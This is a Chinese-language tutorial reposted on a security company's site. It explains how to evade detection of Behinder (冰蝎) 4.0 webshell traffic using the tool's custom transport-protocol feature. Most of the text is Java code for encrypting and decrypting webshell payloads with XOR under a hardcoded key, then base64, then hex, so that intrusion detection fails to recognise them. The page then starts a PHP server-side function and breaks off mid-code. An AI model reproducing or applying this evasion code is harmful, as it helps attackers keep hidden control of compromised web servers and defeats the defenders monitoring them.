冰蝎流量免杀初探_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

冰蝎流量免杀初探

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


冰蝎流量免杀初探

0x01 前言 冰蝎4.0发布以后,可以自定义传输协议了,也就是我们能对流量进行改造,本文依据rebeyond大佬文章对冰蝎流量进行改造,记录一下踩过的坑。 https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎传输协议模块 分为本地和远程,其中本地模块只能用java进行编写,远程模块根据webshell的语言类型进行编写,比如java、php、asp,全部编写好后要生成服务端,也就是生成我们自己的webshell,用生成后的webshell进行连接。 借用大佬的图说明一下加解密流程 整体流量加解密流程为先对payload进行base64,再转成十六进制,具体函数往下看。 0x02 加解密过程 1、本地加密函数 private byte[] Encrypt(byte[] data) throws Exception{ //传入一个字节数组data,对data依据key进行按位异或 String key="e45e329feb5d925b"; for (int i = 0; i < data.length; i++) { data[i] = (byte) ((data[i]) ^ (key.getBytes()[i + 1 & 15])); } //先转换成base64,利用反射调用base64编码 byte[] encrypted = null; Class baseCls; try { baseCls=Class.forName("java.util.Base64"); Object Encoder=baseCls.getMethod("getEncoder", null).invoke(baseCls, null); encrypted= (byte[]) Encoder.getClass().getMethod( "encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); } catch (Throwable error) { baseCls=Class.forName("sun.misc.BASE64Encoder"); Object Encoder=baseCls.newInstance(); String result=(String) Encoder.getClass().getMethod( "encode",new Class[]{byte[].class}).invoke(Encoder, new Object[]{data}); result=result.replace("n", "").replace("r", ""); encrypted=result.getBytes(); } //再改写成hex,利用DatatypeConverter类的printHexBinary()方法进行转换 Object obj = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); /* 这里返回了一个Object类型,虽然encrypted定义的是字节数组, 但是这里传进去的时候不知道为什么报的是Object,所以定义一个Object来接收。 这里用printHexBinary()把base64字符串转成16进制字符串, printHexBinary()接收一个byte数组, printHexBinary()是一个静态方法,invoke第一个参数可以传入null, */ obj = clazz.getDeclaredMethod("printHexBinary",new Class[]{byte[].class}).invoke(null,encrypted); }catch (Throwable error){ System.out.println(error); } //因为要求返回字节数组,所以这里先把Object转成字符串,再转成字节数组,好像不能直接由object转byte byte[] encrypted_hex = obj.toString().toLowerCase().getBytes(); return encrypted_hex; } 2、本地解密函数 private byte[] Decrypt(byte[] data) throws Exception { //从十六进制转回base64 String decrypted_hex = new String(data); byte[] decrypted_base = null; try{ Class clazz = Class.forName("javax.xml.bind.DatatypeConverter"); /* 这里用parseHexBinary()把16进制字符串转回base64字符串 parseHexBinary()接收16进制字符串,转回正常字符串 parseHexBinary()是静态方法,invoke第一个参数可以为空 */ decrypted_base = (byte[])clazz.getDeclaredMethod("parseHexBinary",String.class).invoke(null,decrypted_hex); }catch (Throwable error){ System.out.println(error); } //从base64转回正常字符串 byte[] decodebs; Class baseCls ; try{ baseCls=Class.forName("java.util.Base64"); Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null); decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{decrypted_base}); } catch (Throwable e) { baseCls = Class.forName("sun.misc.BASE64Decoder"); Object Decoder=baseCls.newInstance(); decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(decrypted_base)}); } String key="e45e329feb5d925b"; for (int i = 0; i < decodebs.length; i++) { decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15])); } return decodebs; } 可以先看一下本地加密的效果 至此,本地加解密函数完成,下一步我们研究webshell怎么写。因为本文研究流量免杀,webshell的免杀在此处不做讨论。 3、远程加密函数 function Encrypt($data){ $key="e45e329feb5d925b"; for($i=0;$i

冰蝎流量免杀初探